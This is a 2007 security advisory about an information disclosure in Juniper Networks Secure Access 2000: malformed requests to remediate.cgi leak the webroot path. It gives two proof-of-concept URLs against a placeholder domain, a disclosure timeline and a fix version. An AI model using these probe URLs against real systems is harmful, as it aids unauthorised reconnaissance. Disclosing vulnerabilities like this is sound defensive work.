PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Low

Description:

By simply requesting the 'remediate.cgi' script omitting certain 
parameters, the web server returns the physical path of the webroot 
('/home/webserver/htdocs/') within a "Execute failed" error message.


Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000) 
5.5R1 (build 11711)


Proof of concept:

https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preauth
https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth


Consequences:

A remote attacker could recover information with regards to the target 
site's directory structure.

This kind of information might be useful to attackers in certain 
scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.


Fix:

Juniper Networks was aware of this issue which they addressed on version 
6.0R1. However, we decided to release this advisory due to lack of 
information regarding this vulnerability in the public domain.
